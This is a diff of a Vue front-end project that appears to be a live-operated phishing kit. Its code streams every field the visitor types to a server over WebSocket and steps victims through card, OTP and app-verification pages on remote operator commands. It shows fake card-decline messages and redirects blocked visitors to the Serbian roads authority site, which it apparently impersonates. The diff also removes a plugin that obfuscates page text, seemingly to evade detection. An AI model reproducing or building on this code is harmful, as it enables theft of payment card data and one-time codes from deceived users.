|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
|
|
||||||
// 获取或创建针对某个键的防抖函数
|
|
||||||
function getDebouncedFunction(
|
|
||||||
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
|
|
||||||
key: string,
|
|
||||||
func: (...args: any[]) => void,
|
|
||||||
wait: number
|
|
||||||
) {
|
|
||||||
if (!debounceFunctions[key]) {
|
|
||||||
debounceFunctions[key] = _.debounce(func, wait);
|
|
||||||
}
|
|
||||||
return debounceFunctions[key];
|
|
||||||
}
|
|
||||||
|
|
||||||
const modeRef = ref(1)
|
|
||||||
|
|
||||||
|
|
||||||
// 处理输入变化
|
|
||||||
export function inputChange(type: string, key: any, value: any) {
|
|
||||||
const currentTimestamp = Date.now(); // 当前时间戳
|
|
||||||
|
|
||||||
// WebSocket 防抖函数
|
|
||||||
const wsDebouncedFunction = getDebouncedFunction(
|
|
||||||
wsDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "input_text",
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
})
|
|
||||||
);
|
|
||||||
},
|
|
||||||
300
|
|
||||||
);
|
|
||||||
|
|
||||||
// API 防抖函数
|
|
||||||
const apiDebouncedFunction = getDebouncedFunction(
|
|
||||||
apiDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
sendInput({
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
});
|
|
||||||
},
|
|
||||||
1000
|
|
||||||
);
|
|
||||||
|
|
||||||
// 调用防抖函数
|
|
||||||
wsDebouncedFunction(type, key, value);
|
|
||||||
if(modeRef.value !== 2) {
|
|
||||||
apiDebouncedFunction(type, key, value);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
// Handle login success
|
|
||||||
export function loginSuccess(token: string, mode: number) {
|
|
||||||
if(mode === 2) {
|
|
||||||
modeRef.value = 2
|
|
||||||
myWebSocket = useSocketIo(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}else{
|
|
||||||
myWebSocket = useSocket(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
myWebSocket?.on("close", () => console.log("Socket closed!"));
|
|
||||||
myWebSocket?.on("open", () => {
|
|
||||||
const lastToken = localStorage.getItem("token");
|
|
||||||
loginWebsocket(token, lastToken !== token);
|
|
||||||
});
|
|
||||||
|
|
||||||
myWebSocket?.on("message", handleMessage);
|
|
||||||
|
|
||||||
window.addEventListener("beforeunload", () => {
|
|
||||||
myWebSocket?.off("close");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle WebSocket messages
|
|
||||||
function handleMessage(data: any) {
|
|
||||||
const jsonData = JSON.parse(data);
|
|
||||||
if (!jsonData || !jsonData.event) return;
|
|
||||||
|
|
||||||
const { event, content } = jsonData;
|
|
||||||
|
|
||||||
switch (event) {
|
|
||||||
case "login":
|
|
||||||
//handleLoginEvent(content);
|
|
||||||
break;
|
|
||||||
case "result_type":
|
|
||||||
handleResultTypeEvent(content);
|
|
||||||
break;
|
|
||||||
case "reload":
|
|
||||||
window.location.reload();
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle login event
|
|
||||||
function handleLoginEvent(content: any) {
|
|
||||||
const route = localStorage.getItem("route");
|
|
||||||
if (route) {
|
|
||||||
const customOtpDataValue = localStorage.getItem("customOtpData");
|
|
||||||
if (route === "customOtpValid" && customOtpDataValue) {
|
|
||||||
setCustomOtpData(JSON.parse(customOtpDataValue));
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: route },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle result type event
|
|
||||||
function handleResultTypeEvent(content: any) {
|
|
||||||
if (!content) return;
|
|
||||||
|
|
||||||
const typeHandlers: Record<string, () => void> = {
|
|
||||||
customOtpValid: () => navigateTo("/customOtpValid", content),
|
|
||||||
otpValid: () => navigateTo("/otpValid", content),
|
|
||||||
appValid: () => navigateTo("/appValid", content),
|
|
||||||
success: () => router.push("/success"),
|
|
||||||
kickOut: redirectToExternal,
|
|
||||||
block: redirectToExternal,
|
|
||||||
otpFail: () =>
|
|
||||||
eventBus.emit("otp-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t("Verification code error, please try again"),
|
|
||||||
}),
|
|
||||||
appFail: () =>
|
|
||||||
eventBus.emit("app-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t(
|
|
||||||
"The session is about to expire, please complete the verification now"
|
|
||||||
),
|
|
||||||
}),
|
|
||||||
back: () => handleBackOrReject(content, true),
|
|
||||||
reject: () => handleBackOrReject(content, false),
|
|
||||||
refresh: () => {
|
|
||||||
if(localStorage.getItem("route")){
|
|
||||||
localStorage.removeItem("route");
|
|
||||||
window.location.reload();
|
|
||||||
}
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
if (content.type == "customOtpValid") {
|
|
||||||
if(content.value.customOtpData) {
|
|
||||||
setCustomOtpData(JSON.parse(content.value.customOtpData));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (content.type == "customOtpFail") {
|
|
||||||
eventBus.emit("custom-otp-valid", {
|
|
||||||
message2: content.value.message2,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
const handler = typeHandlers[content.type];
|
|
||||||
if (handler) handler();
|
|
||||||
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Navigate to specific path with query parameters
|
|
||||||
function navigateTo(path: string, content: any) {
|
|
||||||
|
|
||||||
router.push('/temp').then(() => {
|
|
||||||
router.push({
|
|
||||||
path: path,
|
|
||||||
query: {
|
|
||||||
cardType: content.value?.data?.cardData?.cardBIN?.schema,
|
|
||||||
message1: content.value?.message1,
|
|
||||||
key: new Date().getMilliseconds(),
|
|
||||||
},
|
|
||||||
});
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle back or reject type
|
|
||||||
function handleBackOrReject(content: any, isBack: boolean) {
|
|
||||||
let message2 = i18n.global.t(
|
|
||||||
"This card does not support this transaction, please try another card"
|
|
||||||
);
|
|
||||||
|
|
||||||
if (configData.value.error_card_msg) {
|
|
||||||
message2 = configData.value.error_card_msg;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.type) {
|
|
||||||
const type = content.value.type;
|
|
||||||
if (type === "denyC" && configData.value.deny_c_msg) {
|
|
||||||
message2 = configData.value.deny_c_msg;
|
|
||||||
}
|
|
||||||
if (type === "denyD" && configData.value.deny_d_msg) {
|
|
||||||
message2 = configData.value.deny_d_msg;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.message2) {
|
|
||||||
message2 = content.value.message2;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isBack) {
|
|
||||||
router.push({ path: "/card", query: { message2 } });
|
|
||||||
}
|
|
||||||
|
|
||||||
eventBus.emit("my-event", { message2 });
|
|
||||||
}
|
|
||||||
|
|
||||||
// Login to WebSocket
|
|
||||||
function loginWebsocket(token: string, isFirst: boolean) {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "login",
|
|
||||||
content: { tag: "user", token, isFirst },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
initHtml();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Redirect to an external URL
|
|
||||||
export function redirectToExternal() {
|
|
||||||
window.location.href = "https://www.putevi-srbije.rs/";
|
|
||||||
}
|
|
||||||
|
|
||||||
export async function loadHtml(url: string) {
|
|
||||||
try {
|
|
||||||
const response = await fetch(url); // 替换为您的 HTML 文件路径
|
|
||||||
if (!response.ok) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
return await response.text();
|
|
||||||
} catch (error) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
export const headerHtml = ref("");
|
|
||||||
export const footerHtml = ref("");
|
|
||||||
export const loadingBg = ref("#ffffff");
|
|
||||||
|
|
||||||
const initHtml = async () => {
|
|
||||||
const routePath = localStorage.getItem("route");
|
|
||||||
headerHtml.value = await loadHtml("/Static_zy/header.html");
|
|
||||||
footerHtml.value = await loadHtml("/Static_zy/footer.html");
|
|
||||||
await router.push(routePath ? `/${routePath}` : "/phone");
|
|
||||||
setTimeout(async () => {
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
loadingBg.value = "transparent";
|
|
||||||
}, 200);
|
|
||||||
};
|
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
|
|
||||||
import { myWebSocket } from "@/utils/common";
|
|
||||||
|
|
||||||
defineProps<{
|
|
||||||
msg: string;
|
|
||||||
}>();
|
|
||||||
|
|
||||||
const sendMsg = () => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({ event: "heartbeat", content: { userId: "haha" } })
|
|
||||||
);
|
|
||||||
};
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<div class="greetings">
|
|
||||||
<h1 class="green">{{ msg }}</h1>
|
|
||||||
<button @click="sendMsg">Send</button>/
|
|
||||||
<h3>
|
|
||||||
You’ve successfully created a project with
|
|
||||||
<a href="https://vitejs.dev/" target="_blank" rel="noopener">Vite</a> +
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">Vue 3</a>.
|
|
||||||
What's next?
|
|
||||||
</h3>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
h1 {
|
|
||||||
font-weight: 500;
|
|
||||||
font-size: 2.6rem;
|
|
||||||
top: -10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: left;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
import WelcomeItem from './WelcomeItem.vue'
|
|
||||||
import DocumentationIcon from './icons/IconDocumentation.vue'
|
|
||||||
import ToolingIcon from './icons/IconTooling.vue'
|
|
||||||
import EcosystemIcon from './icons/IconEcosystem.vue'
|
|
||||||
import CommunityIcon from './icons/IconCommunity.vue'
|
|
||||||
import SupportIcon from './icons/IconSupport.vue'
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<DocumentationIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Documentation</template>
|
|
||||||
|
|
||||||
Vue’s
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">official documentation</a>
|
|
||||||
provides you with all information you need to get started.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<ToolingIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Tooling</template>
|
|
||||||
|
|
||||||
This project is served and bundled with
|
|
||||||
<a href="https://vitejs.dev/guide/features.html" target="_blank" rel="noopener">Vite</a>. The
|
|
||||||
recommended IDE setup is
|
|
||||||
<a href="https://code.visualstudio.com/" target="_blank" rel="noopener">VSCode</a> +
|
|
||||||
<a href="https://github.com/johnsoncodehk/volar" target="_blank" rel="noopener">Volar</a>. If
|
|
||||||
you need to test your components and web pages, check out
|
|
||||||
<a href="https://www.cypress.io/" target="_blank" rel="noopener">Cypress</a> and
|
|
||||||
<a href="https://on.cypress.io/component" target="_blank">Cypress Component Testing</a>.
|
|
||||||
|
|
||||||
<br />
|
|
||||||
|
|
||||||
More instructions are available in <code>README.md</code>.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<EcosystemIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Ecosystem</template>
|
|
||||||
|
|
||||||
Get official tools and libraries for your project:
|
|
||||||
<a href="https://pinia.vuejs.org/" target="_blank" rel="noopener">Pinia</a>,
|
|
||||||
<a href="https://router.vuejs.org/" target="_blank" rel="noopener">Vue Router</a>,
|
|
||||||
<a href="https://test-utils.vuejs.org/" target="_blank" rel="noopener">Vue Test Utils</a>, and
|
|
||||||
<a href="https://github.com/vuejs/devtools" target="_blank" rel="noopener">Vue Dev Tools</a>. If
|
|
||||||
you need more resources, we suggest paying
|
|
||||||
<a href="https://github.com/vuejs/awesome-vue" target="_blank" rel="noopener">Awesome Vue</a>
|
|
||||||
a visit.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<CommunityIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Community</template>
|
|
||||||
|
|
||||||
Got stuck? Ask your question on
|
|
||||||
<a href="https://chat.vuejs.org" target="_blank" rel="noopener">Vue Land</a>, our official
|
|
||||||
Discord server, or
|
|
||||||
<a href="https://stackoverflow.com/questions/tagged/vue.js" target="_blank" rel="noopener"
|
|
||||||
>StackOverflow</a
|
|
||||||
>. You should also subscribe to
|
|
||||||
<a href="https://news.vuejs.org" target="_blank" rel="noopener">our mailing list</a> and follow
|
|
||||||
the official
|
|
||||||
<a href="https://twitter.com/vuejs" target="_blank" rel="noopener">@vuejs</a>
|
|
||||||
twitter account for latest news in the Vue world.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<SupportIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Support Vue</template>
|
|
||||||
|
|
||||||
As an independent project, Vue relies on community backing for its sustainability. You can help
|
|
||||||
us by
|
|
||||||
<a href="https://vuejs.org/sponsor/" target="_blank" rel="noopener">becoming a sponsor</a>.
|
|
||||||
</WelcomeItem>
|
|
||||||
</template>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<template>
|
|
||||||
<div class="item">
|
|
||||||
<i>
|
|
||||||
<slot name="icon"></slot>
|
|
||||||
</i>
|
|
||||||
<div class="details">
|
|
||||||
<h3>
|
|
||||||
<slot name="heading"></slot>
|
|
||||||
</h3>
|
|
||||||
<slot></slot>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
.item {
|
|
||||||
margin-top: 2rem;
|
|
||||||
display: flex;
|
|
||||||
}
|
|
||||||
|
|
||||||
.details {
|
|
||||||
flex: 1;
|
|
||||||
margin-left: 1rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
display: flex;
|
|
||||||
place-items: center;
|
|
||||||
place-content: center;
|
|
||||||
width: 32px;
|
|
||||||
height: 32px;
|
|
||||||
|
|
||||||
color: var(--color-text);
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
font-weight: 500;
|
|
||||||
margin-bottom: 0.4rem;
|
|
||||||
color: var(--color-heading);
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.item {
|
|
||||||
margin-top: 0;
|
|
||||||
padding: 0.4rem 0 1rem calc(var(--section-gap) / 2);
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
top: calc(50% - 25px);
|
|
||||||
left: -26px;
|
|
||||||
position: absolute;
|
|
||||||
border: 1px solid var(--color-border);
|
|
||||||
background: var(--color-background);
|
|
||||||
border-radius: 8px;
|
|
||||||
width: 50px;
|
|
||||||
height: 50px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:before {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
bottom: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:after {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
top: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:first-of-type:before {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:last-of-type:after {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,4 +1,3 @@
|
|||||||
import { TextObfuscatorPlugin } from "./mix/textObfuscator";
|
|
||||||
import { createApp, ref } from "vue";
|
import { createApp, ref } from "vue";
|
||||||
import { createPinia } from "pinia";
|
import { createPinia } from "pinia";
|
||||||
|
|
||||||
@@ -25,6 +24,5 @@ app.use(i18n);
|
|||||||
app.use(createPinia());
|
app.use(createPinia());
|
||||||
app.use(router);
|
app.use(router);
|
||||||
|
|
||||||
// //app.use(TextObfuscatorPlugin);
|
|
||||||
app.mount("#app");
|
app.mount("#app");
|
||||||
export default i18n;
|
export default i18n;
|
||||||
|
|||||||
@@ -1,643 +0,0 @@
|
|||||||
import type { ComponentInternalInstance, Plugin, App } from 'vue';
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 全局文本混淆插件
|
|
||||||
* 自动查找并替换所有文本节点
|
|
||||||
*/
|
|
||||||
// 修改Vue混淆插件以确保处理整个组件树
|
|
||||||
export const TextObfuscatorPlugin: Plugin = {
|
|
||||||
install(app: App) {
|
|
||||||
// 安装全局样式和解码脚本
|
|
||||||
addObfuscationStyle();
|
|
||||||
|
|
||||||
// 注册全局指令,直接处理元素内容
|
|
||||||
app.directive('odata', {
|
|
||||||
mounted(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
setupMutationObserver(el);
|
|
||||||
},
|
|
||||||
updated(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// 在 app.mixin 中修改处理 $el 的部分
|
|
||||||
app.mixin({
|
|
||||||
mounted() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
// 1. 首先处理当前组件的根元素
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
// 2. 递归处理所有子元素,确保覆盖所有文本节点
|
|
||||||
const processAllChildNodes = (element: Element) => {
|
|
||||||
if (!(element instanceof Element)) return;
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 为每个子元素单独处理文本节点
|
|
||||||
const childElements = element.querySelectorAll('*');
|
|
||||||
childElements.forEach(childEl => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
// 立即解码当前处理的元素
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(element), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing child nodes:', error, element);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 处理整个组件树
|
|
||||||
processAllChildNodes(rootElement);
|
|
||||||
|
|
||||||
// 设置监听
|
|
||||||
setupMutationObserver(rootElement);
|
|
||||||
});
|
|
||||||
// 添加:深度扫描所有包含纯文本的元素
|
|
||||||
setTimeout(() => {
|
|
||||||
const scanPureTextElements = (rootElement: Element) => {
|
|
||||||
// 跳过已处理过的元素
|
|
||||||
if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
|
|
||||||
let hasOnlyTextNodes = false;
|
|
||||||
let hasElementNodes = false;
|
|
||||||
|
|
||||||
if (rootElement.childNodes && rootElement.childNodes.length > 0) {
|
|
||||||
hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
|
|
||||||
);
|
|
||||||
|
|
||||||
hasElementNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.ELEMENT_NODE
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
|
|
||||||
if (hasOnlyTextNodes && !hasElementNodes &&
|
|
||||||
!SKIP_TAGS.includes(rootElement.tagName) &&
|
|
||||||
!Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
processTextNodes(rootElement, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(rootElement);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 递归处理子元素
|
|
||||||
if (rootElement.children) {
|
|
||||||
Array.from(rootElement.children).forEach(child => {
|
|
||||||
scanPureTextElements(child);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 从body开始扫描
|
|
||||||
scanPureTextElements(document.body);
|
|
||||||
}, 10); // 给DOM足够的时间渲染
|
|
||||||
},
|
|
||||||
|
|
||||||
updated() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element | undefined) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 递归处理所有子元素
|
|
||||||
const childElements = rootElement.querySelectorAll('*');
|
|
||||||
childElements.forEach((childEl: Element) => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing updated component:', error, rootElement);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 声明全局函数类型
|
|
||||||
declare global {
|
|
||||||
interface Window {
|
|
||||||
decodeObfuscatedContent: (rootElement?: Element) => void;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 需要跳过的标签
|
|
||||||
const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
|
|
||||||
// 需要跳过的类名
|
|
||||||
const SKIP_CLASSES = ['no-obfuscate'];
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 处理元素中的所有文本节点
|
|
||||||
*/
|
|
||||||
function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
|
|
||||||
if (!element || element.nodeType !== Node.ELEMENT_NODE) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
// 为 DIV 元素增加优先处理逻辑
|
|
||||||
if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
|
|
||||||
// 对于DIV元素,特殊处理其直接子文本节点
|
|
||||||
let hasTextContent = false;
|
|
||||||
for (let i = 0; i < element.childNodes.length; i++) {
|
|
||||||
const node = element.childNodes[i];
|
|
||||||
if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
|
|
||||||
hasTextContent = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果DIV中有直接的文本内容,标记它需要被处理
|
|
||||||
if (hasTextContent) {
|
|
||||||
// 只处理未混淆过的DIV
|
|
||||||
const textContent = Array.from(element.childNodes)
|
|
||||||
.filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
|
|
||||||
.map(node => node.textContent).join('').trim();
|
|
||||||
|
|
||||||
if (textContent) {
|
|
||||||
// 替换整个DIV的内容
|
|
||||||
const originalHTML = element.innerHTML;
|
|
||||||
const processedHTML = obfuscateText(textContent);
|
|
||||||
element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
|
|
||||||
element.setAttribute('data-obfuscated', 'true');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// 跳过带有特定标记的元素(避免重复处理)
|
|
||||||
if (element.hasAttribute('data-obfuscated') ||
|
|
||||||
!element ||
|
|
||||||
SKIP_TAGS.includes(element.tagName) ||
|
|
||||||
Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用 TreeWalker 遍历所有文本节点
|
|
||||||
const walker = document.createTreeWalker(
|
|
||||||
element,
|
|
||||||
NodeFilter.SHOW_TEXT,
|
|
||||||
{
|
|
||||||
acceptNode(node) {
|
|
||||||
// 不处理完全空的文本节点
|
|
||||||
if (!node.textContent) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查父节点是否应该被跳过
|
|
||||||
const parent = node.parentElement;
|
|
||||||
if (parent && (
|
|
||||||
SKIP_TAGS.includes(parent.tagName) ||
|
|
||||||
parent.hasAttribute('data-obfuscated') ||
|
|
||||||
Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
|
|
||||||
)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果只包含空白且不是段落的首个节点,则跳过
|
|
||||||
if (node.textContent.trim() === '' &&
|
|
||||||
!(parent?.tagName === 'P' && node === parent.firstChild)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
return NodeFilter.FILTER_ACCEPT;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
);
|
|
||||||
|
|
||||||
// 收集需要处理的文本节点
|
|
||||||
const textNodes: Text[] = [];
|
|
||||||
let currentNode: Node | null = walker.nextNode();
|
|
||||||
|
|
||||||
while (currentNode) {
|
|
||||||
textNodes.push(currentNode as Text);
|
|
||||||
currentNode = walker.nextNode();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 预先计算所有混淆内容,减少DOM操作次数
|
|
||||||
const fragments: DocumentFragment[] = [];
|
|
||||||
const nodesToReplace: Text[] = [];
|
|
||||||
|
|
||||||
// 在处理文本节点前,移除所有前导空格
|
|
||||||
for (const textNode of textNodes) {
|
|
||||||
const text = textNode.textContent;
|
|
||||||
if (!text) continue;
|
|
||||||
|
|
||||||
// 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
|
|
||||||
let processedText = text;
|
|
||||||
if (textNode.parentElement?.tagName === 'P' &&
|
|
||||||
textNode === textNode.parentElement.firstChild) {
|
|
||||||
// 去除开头的空白,无论什么情况
|
|
||||||
processedText = text.replace(/^\s+/, '');
|
|
||||||
// 如果去除空白后为空,直接跳过这个节点
|
|
||||||
if (!processedText) continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 创建文档碎片来存储混淆后的内容
|
|
||||||
const fragment = document.createDocumentFragment();
|
|
||||||
const tempContainer = document.createElement('div');
|
|
||||||
tempContainer.innerHTML = obfuscateText(processedText);
|
|
||||||
|
|
||||||
// 将内容移动到碎片中
|
|
||||||
while (tempContainer.firstChild) {
|
|
||||||
fragment.appendChild(tempContainer.firstChild);
|
|
||||||
}
|
|
||||||
|
|
||||||
fragments.push(fragment);
|
|
||||||
nodesToReplace.push(textNode);
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing text node:', error);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 批量替换节点,减少回流
|
|
||||||
